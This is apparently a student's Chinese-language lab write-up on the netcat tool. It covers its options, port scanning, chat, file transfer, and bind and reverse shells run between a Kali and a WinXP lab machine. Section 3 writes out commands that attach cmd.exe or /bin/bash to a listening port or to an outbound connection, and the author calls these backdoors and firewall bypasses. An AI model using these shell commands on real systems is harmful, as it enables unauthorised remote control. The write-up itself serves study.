在嘗試學習分析的過程中,判斷結論不一定准確,只是一些我自己的思考和探索。敬請批評指正!
1. netcat概述
(1)特性
-
“TCP/IP協議棧瑞士軍刀”,可以被用在支持端口掃描、隧道、代理、端口轉發等的對外連接上。
-
從標准輸入得到數據進行網絡傳輸,它得到的數據可以通過標准輸出顯示到屏幕上。
-
連接模式下,作為一個客戶端:
nc [-options] hostname [ports]
-
監聽模式下,充當一個服務器:
nc -l -p port [-options] [hostname] [port]
(2)常用參數
options | 描述 |
---|---|
-d | 無命令行界面,使用后台模式 |
-e [prog] | 程序重定向 |
-g [gateway] | 源路由跳躍點, 不超過8 |
-G [num] | 源路由指示器: 4, 8, 12, ... |
-h | 獲取幫助信息 |
-i [secs] | 延時設置,端口掃描時使用 |
-l | 監聽知道NetCat被結束(可斷開重連) |
-L | 無命令行界面,使用后台模式 |
-n | 以數字形式表示的IP地址 |
-o [file] | 使進制記錄 |
-p [port] | 打開本地端口 |
-r | 隨機本地和遠程的端口 |
-s [addr] | 本地源地址 |
-t | 以TELNET的形式應答入站請求 |
-u | UDP 模式 |
-v/-vv | 顯示詳細信息 |
-w [secs] | 連接超時設置 |
-z | I/O 模式(掃描時使用) |
2. 簡單命令
- 可以將nc.exe所在目錄放進Path中,方便調用
(1)作為客戶端
nc -v [ip] [port]
- 掃瞄某IP的某個端口,返回信息詳細輸出。
nc -v -z [ip] [port]-[port]
-
掃描某IP的端口到某端口,返回信息詳細輸出,但掃描速度較慢
-
使用netcat可以進行端口掃描。但是Netcat並不是這個工作的最佳工具,可以使用一個更高級的工具:nmap。
nc -nvv [ip] [port]
- 連接到某ip主機的指定端口(需開放)。
(2)作為服務器
nc -l -p 80
- 開啟本機的TCP的80端口並監聽。
3. 使用netcat實現特定功能
(1)聊天功能
-
雙方一個做服務器,一個做客戶端。
-
服務器首先開啟一個端口進行監聽:
nc -l -p [port]
-
然后客戶端進行連接:
nc [服務器ip] [port]
-
此時,雙方的輸入都會顯示在對方機器上:
-
服務器端:
-
客戶端:
-
(2)文件傳輸
-
雙方一個做服務器,一個做客戶端。
-
在服務器上創建並且重定向netcat的輸入為待傳輸文件hyqServer.txt,那么當任何成功連接到該端口,netcat會發送文件內容。
nc -l -p [port] < [待發送文件名]
-
在客戶端我們重定向輸出到hyqClient.txt,當連接到服務器端時,服務器端發送文件內容,客戶端保存文件內容到當前目錄下的指定文件中。
nc -n [服務器ip] [port] > [待保存文件名]
-
比較兩個文件:
-
由於服務器端使用Linux操作系統,服務器端使用Windows操作系統,對於換行符的解釋不通,導致格式不同。但內容沒有更改,是完整的。
(3)打開一個Shell
-
實際上,Netcat更多的用於后門程序。
-
WinXP作為服務器,開啟監聽80端口,並選用-v顯示詳細信息, –e選項指向cmd.exe程序。
nc -lv -p [port] -e cmd.exe
-
若為Linux系統,可以寫做:
nc -lv -p [port] -e /bin/bash
-
此時,只要有人在所監聽的80端口上建立連接,該程序都將執行,並將輸出傳輸出去,即開啟了一個后門。
-
我們可以在kali(作為客戶端)中使用IP和相應端口連接WinXP,成功后可以看到輸入變成了cmd的模式:
nc -vv [ip] [port]
-
可以查看到WinXP的目錄:
-
可以進行刪除操作:
-
刪除netcat文件夾中的Readme.txt文件:
-
在WinXP中查看,確實被刪除了:
(4)反向Shell
-
反向shell是指在客戶端打開的shell,可以用來繞過防火牆的限制。
-
使用kali作為服務端打開端口監聽:
nc -l -p [port]
-
WinXP作為客戶端打開相同的端口並將程序重定向到命令行:
nc [ip] [port] -e cmd.exe
-
若客戶端為Linux系統,則:
nc [ip] [port] -e /bin/bash
-
在客戶端顯示連接上了開放端口5317:
-
此時,Linux中會反彈回客戶端的shell,並可進行操作:
4. 小結
- 本來是病毒實踐用於嘗試分析的工具,雖然沒有深度使用這個工具,但是我覺得這個工具本身的功能很多,如果結合自己編寫的腳本應該會更能體現其價值。
- nc是麻雀雖小,五臟俱全,這一特點有好處,也有不足。它優勢在於對沒有更高要求的簡單環境中可以實現多功能。劣勢在於每一方面的功能其實都有相應的專門的軟件,而這些專門的軟件做的比它的功能更強大和深入,就比如端口掃描,我覺得它的性能就不如nmap。
參考資料
參考資料1:NetCat使用介紹
參考資料2:nc 高級使用教程簡介
參考資料3:Linux系統中使用netcat命令的奇技淫巧
參考資料4:NetCat代碼分析